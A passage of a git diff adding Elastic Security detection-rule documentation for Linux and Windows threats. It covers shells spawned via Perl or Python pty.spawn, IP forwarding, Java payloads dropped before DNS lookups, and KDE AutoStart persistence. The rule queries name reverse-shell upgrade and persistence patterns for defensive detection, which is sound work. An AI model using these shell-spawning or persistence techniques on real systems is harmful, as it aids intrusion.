configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and +process.entry_leader.entry_meta.type:container and process.interactive:true and +process.name:(sh or bash or dash or tcsh or csh or zsh or ksh or fish) and +not ( + process.parent.name:(dpkg or runc or tini or frontend or elastic-agent or agentbeat or dpkg-query or ansible-playbook or gpgv or apt or apt-get) or + process.parent.command_line:"runc init" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-terminal-spawned-via-perl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-terminal-spawned-via-perl.asciidoc new file mode 100644 index 0000000000..c936f8aef3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-terminal-spawned-via-perl.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-interactive-terminal-spawned-via-perl]] +=== Interactive Terminal Spawned via Perl + +Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Interactive Terminal Spawned via Perl* + + +Perl, a versatile scripting language, can execute system commands, making it a target for adversaries seeking to escalate privileges or maintain persistence. Attackers may exploit Perl to spawn interactive terminals, transforming basic shells into robust command interfaces. The detection rule identifies such activity by monitoring process events on Linux systems, specifically when Perl executes shell commands, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process event logs to confirm the presence of a Perl process with arguments indicating the execution of a shell, such as "exec \"/bin/sh\";", "exec \"/bin/dash\";", or "exec \"/bin/bash\";". +- Identify the user account associated with the Perl process to determine if it aligns with expected activity or if it suggests unauthorized access. +- Examine the parent process of the Perl execution to understand how the Perl script was initiated and assess if it correlates with legitimate user activity or a potential compromise. +- Check for any network connections or data transfers initiated by the Perl process to identify possible exfiltration or communication with external command and control servers. +- Investigate any recent changes to user accounts, permissions, or scheduled tasks that might indicate privilege escalation or persistence mechanisms associated with the Perl activity. +- Correlate the event with other security alerts or logs from the same host to identify patterns or additional indicators of compromise that could suggest a broader attack campaign. + + +*False positive analysis* + + +- System maintenance scripts that use Perl to execute shell commands may trigger this rule. Review and whitelist known maintenance scripts by adding exceptions for specific script paths or process arguments. +- Automated deployment tools that utilize Perl for executing shell commands can cause false positives. Identify these tools and exclude their specific process arguments or execution paths from the detection rule. +- Development environments where Perl is used for testing or debugging purposes might inadvertently spawn interactive terminals. Consider excluding processes initiated by known development user accounts or within specific development directories. +- Backup or monitoring scripts that rely on Perl to perform system checks or data collection could be flagged. Analyze these scripts and create exceptions based on their unique process arguments or execution context. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious Perl processes identified by the detection rule to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system's logs and process history to identify any additional indicators of compromise or related malicious activity. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack. +- Restore the affected system from a known good backup to ensure any malicious changes are removed. +- Implement additional monitoring on the affected host and network to detect any further attempts to exploit Perl for spawning interactive terminals. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "perl" and process.args == "exec" and +process.args in ( + "\"sh\";", "\"dash\";", "\"bash\";", "\"zsh\";", + "\"/bin/sh\";", "\"/bin/dash\";", "\"/bin/bash\";", "\"/bin/zsh\";", + "\"/usr/bin/sh\";", "\"/usr/bin/dash\";", "\"/usr/bin/bash\";", "\"/usr/bin/zsh\";", + "\"/usr/local/bin/sh\";", "\"/usr/local/bin/dash\";", "\"/usr/local/bin/bash\";", "\"/usr/local/bin/zsh\";" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-terminal-spawned-via-python.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-terminal-spawned-via-python.asciidoc new file mode 100644 index 0000000000..0f5456f96e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-terminal-spawned-via-python.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-interactive-terminal-spawned-via-python]] +=== Interactive Terminal Spawned via Python + +Identifies when a terminal (tty) is spawned via Python. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Interactive Terminal Spawned via Python* + + +Python's ability to spawn interactive terminals is a powerful feature often used for legitimate administrative tasks. However, adversaries can exploit this to escalate a basic reverse shell into a fully interactive terminal, enhancing their control over a compromised system. The detection rule identifies such abuse by monitoring processes where Python spawns a shell, focusing on specific patterns in process arguments and parent-child process relationships, indicating potential malicious activity. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on the parent process named "python*" and the child process that is a shell (e.g., bash, sh, zsh). +- Examine the command-line arguments of the parent Python process to identify the use of "pty.spawn" and the presence of the "-c" flag, which may indicate an attempt to spawn an interactive terminal. +- Check the process start event details, including the timestamp and user context, to determine if the activity aligns with expected administrative tasks or if it appears suspicious. +- Investigate the source IP address and user account associated with the process to assess if they are known and authorized entities within the network. +- Look for any related alerts or logs that might indicate prior suspicious activity, such as initial access vectors or other execution attempts, to build a timeline of events. +- Correlate this activity with any recent changes or incidents reported on the host to determine if this is part of a larger attack or an isolated event. + + +*False positive analysis* + + +- Administrative scripts or automation tools that use Python to manage system processes may trigger this rule. To handle this, identify and whitelist specific scripts or tools that are known to perform legitimate tasks. +- Developers or system administrators using Python for interactive debugging or system management might inadvertently match the rule's criteria. Consider excluding processes initiated by trusted user accounts or within specific directories associated with development or administration. +- Scheduled tasks or cron jobs that utilize Python to execute shell commands could be mistaken for malicious activity. Review and exclude these tasks by specifying their unique process arguments or parent-child process relationships. +- Security tools or monitoring solutions that leverage Python for executing shell commands as part of their normal operation may also trigger this rule. Identify these tools and create exceptions based on their process signatures or execution context. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious Python processes identified in the alert, especially those spawning shell processes, to disrupt the attacker's control. +- Conduct a thorough review of the affected system for any additional signs of compromise, such as unauthorized user accounts, scheduled tasks, or modified system files. +- Reset credentials for any accounts accessed from the compromised host to prevent further unauthorized access. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Enhance monitoring and logging on the affected host and network to detect any similar activities in the future, focusing on process creation and network connections. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +( + (process.parent.name : "python*" and process.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", + "fish") and process.parent.args_count >= 3 and process.parent.args : "*pty.spawn*" and process.parent.args : "-c") or + (process.parent.name : "python*" and process.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.args in ( + "sh", "dash", "bash", "zsh", + "/bin/sh", "/bin/dash", "/bin/bash", "/bin/zsh", + "/usr/bin/sh", "/usr/bin/dash", "/usr/bin/bash", "/usr/bin/zsh", + "/usr/local/bin/sh", "/usr/local/bin/dash", "/usr/local/bin/bash", "/usr/local/bin/zsh" + ) and process.args_count == 1 and process.parent.args_count == 1 + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ipv4-ipv6-forwarding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ipv4-ipv6-forwarding-activity.asciidoc new file mode 100644 index 0000000000..5db8a0a3b3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ipv4-ipv6-forwarding-activity.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-ipv4-ipv6-forwarding-activity]] +=== IPv4/IPv6 Forwarding Activity + +This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating IPv4/IPv6 Forwarding Activity* + + +IPv4/IPv6 forwarding allows a Linux system to route traffic between network interfaces, facilitating network communication. While essential for legitimate network operations, adversaries can exploit this capability to pivot across networks, exfiltrate data, or maintain control channels. The detection rule identifies suspicious command executions that enable IP forwarding, focusing on specific command patterns and processes, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process command line details to understand the context in which IP forwarding was enabled, focusing on the specific command patterns identified in the alert. +- Identify the parent process of the suspicious command execution using the process.parent.executable field to determine if it was initiated by a legitimate or potentially malicious process. +- Check the user account associated with the process execution to assess if the action was performed by an authorized user or if there are signs of compromised credentials. +- Investigate recent network activity on the host to identify any unusual traffic patterns or connections that could indicate data exfiltration or lateral movement. +- Correlate the alert with other security events or logs from the same host or network segment to identify any related suspicious activities or patterns. +- Assess the system's current configuration and network topology to determine if enabling IP forwarding could have been part of a legitimate administrative task or if it poses a security risk. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators enable IP forwarding for legitimate network configuration purposes. To manage this, create exceptions for known administrative scripts or processes that regularly perform these actions. +- Automated scripts or configuration management tools like Ansible or Puppet might execute commands that match the rule's criteria. Identify these tools and exclude their processes from the rule to prevent false alerts. +- Network testing or troubleshooting activities often require temporary enabling of IP forwarding. Document and exclude these activities when performed by trusted users or during scheduled maintenance windows. +- Virtualization or container orchestration platforms may enable IP forwarding as part of their normal operations. Recognize these platforms and adjust the rule to ignore their specific processes or command patterns. +- Security tools or network monitoring solutions might also enable IP forwarding for analysis purposes. Verify these tools and exclude their processes to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those enabling IP forwarding, to halt potential lateral movement or data exfiltration. +- Conduct a thorough review of network traffic logs to identify any unusual or unauthorized connections that may indicate command and control activity. +- Revert any unauthorized changes to system configurations, specifically those related to IP forwarding settings, to restore the system to its secure state. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement network segmentation to limit the ability of attackers to pivot between networks in the future. +- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns associated with IP forwarding misuse. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "exec_event", "ProcessRollup2") and +?process.parent.executable != null and process.command_line like ( + "*net.ipv4.ip_forward*", "*/proc/sys/net/ipv4/ip_forward*", "*net.ipv6.conf.all.forwarding*", + "*/proc/sys/net/ipv6/conf/all/forwarding*" +) and ( + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and + process.command_line like "*echo *" + ) +) and +not ( + process.parent.name like~ ("privsep-helper", "platform-python*", "init.ipv6-global", "wsl-bootstrap") or + ?process.parent.executable == "/usr/sbin/sshd" or + ?process.parent.args in ( + "/usr/lib/pritunl/usr/bin/pritunl", "/usr/bin/dockerd-rootless.sh", "/etc/rc.d/init.d/network", "/etc/rc0.d/K90network" + ) or + ?process.parent.args like "/etc/untangle/post-network-hook.d/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Internal Proxy +** ID: T1090.001 +** Reference URL: https://attack.mitre.org/techniques/T1090/001/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-java-dropped-and-executed-with-dns-lookup.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-java-dropped-and-executed-with-dns-lookup.asciidoc new file mode 100644 index 0000000000..a9a5cc7f8a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-java-dropped-and-executed-with-dns-lookup.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-java-dropped-and-executed-with-dns-lookup]] +=== Java Dropped and Executed With DNS Lookup + +Identifies a recently dropped or modified javaw.exe process started from a user-writable path to run a JAR or Java classpath application, followed by a DNS lookup. Adversaries may drop Java payloads into user directories and execute them immediately to establish command and control while evading application control focused on native Windows binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Java Dropped and Executed With DNS Lookup* + + +This rule correlates a recently created or modified `javaw.exe` launch from `Users`, `ProgramData`, or `Windows\Temp` with an immediate +DNS lookup from the same process. Attackers often drop JAR-based payloads to user-writable locations and invoke them +with `-jar` or `-cp`/`-classpath` to blend in with legitimate Java usage while reaching out to command and control +infrastructure. + + +*Possible investigation steps* + + +- Review `process.executable`, `process.command_line`, and `process.args` to identify the JAR or classpath target and + whether the path is user-writable or unexpected for the host role. +- Inspect `process.Ext.relative_file_creation_time` and `process.Ext.relative_file_name_modify_time` to confirm the + binary or payload was staged immediately before execution. +- Examine the parent process tree for download, archive extraction, or script activity that may have dropped the JAR + or `javaw.exe`. +- Pivot on the DNS event for `dns.question.name`, `dns.resolved_ip`, and any follow-on connection attempts from the + same `process.entity_id`. +- Check code signature details for `javaw.exe` and any referenced JAR files when file telemetry is available. +- Hunt for the same JAR hash, command line, or queried domain on other hosts. + + +*False positive analysis* + + +- Developer workflows, local Java applications, and enterprise tools may run freshly updated JARs from user profiles or + `ProgramData`. Validate the JAR path, signer, parent process, and queried domain against known software before + closing as benign. +- Some installers or updaters drop a private JRE under `ProgramData` and launch JAR utilities during setup. Confirm the + activity aligns with a known deployment or update window. + + +*Response and remediation* + + +- Isolate the host if the JAR, domain, or parent activity appears malicious. +- Quarantine the dropped JAR, related Java runtime files, and any staging artifacts identified in the process tree. +- Block malicious domains or IPs at DNS and network enforcement points. +- Reset credentials for accounts active on the host during the suspicious session if follow-on activity is observed. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.action == "start" and + (process.Ext.relative_file_creation_time <= 500 or process.Ext.relative_file_name_modify_time <= 500) and + (process.name : "javaw.exe" or process.pe.original_file_name == "javaw.exe") and process.executable : ("?:\\Users\\*", "?:\\ProgramData\\*", "?:\\Windows\\Temp\\*") and user.id != "S-1-5-18" and + ( + (process.args_count == 3 and process.args : "-jar") or + (process.args_count == 4 and process.args : ("-cp", "-classpath") and process.command_line : " *.* ") + )] + [network where host.os.type == "windows" and event.action: "lookup_requested"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kde-autostart-script-or-desktop-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kde-autostart-script-or-desktop-file-creation.asciidoc new file mode 100644 index 0000000000..eec44b5700 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kde-autostart-script-or-desktop-file-creation.asciidoc @@ -0,0 +1,237 @@ +[[prebuilt-rule-8-19-34-kde-autostart-script-or-desktop-file-creation]] +=== KDE AutoStart Script or Desktop File Creation + +Identifies the creation or modification of a K Desktop Environment (KDE) AutoStart script or desktop file that will execute upon each user logon. Adversaries may abuse this method for persistence. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://userbase.kde.org/System_Settings/Autostart +* https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/ +* https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating KDE AutoStart Script or Desktop File Creation* + + +K Desktop Environment (KDE) is a popular graphical desktop environment for Linux systems. It supports AutoStart scripts and desktop files that execute automatically upon user logon. + +Adversaries may exploit this feature to maintain persistence on a compromised system by creating or modifying these files. + +The detection rule 'KDE AutoStart Script or Desktop File Creation' is designed to identify such activities by monitoring file events on Linux systems. It specifically targets the creation or modification of files with extensions ".sh" or ".desktop" in various AutoStart directories. By detecting these events, the rule helps security analysts identify potential abuse of KDE AutoStart functionality by malicious actors. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE ( path LIKE '/home/%/.config/autostart/%.sh' OR path LIKE '/home/%/.config/autostart/%.desktop'\nOR path LIKE '/root/.config/autostart/%.sh' OR path LIKE '/root/.config/autostart/%.desktop' OR path LIKE\n'/home/%/.kde/Autostart/%.sh' OR path LIKE '/home/%/.kde/Autostart/%.desktop' OR path LIKE '/root/.kde/Autostart/%.sh'\nOR path LIKE '/root/.kde/Autostart/%.desktop' OR path LIKE '/home/%/.kde4/Autostart/%.sh' OR path 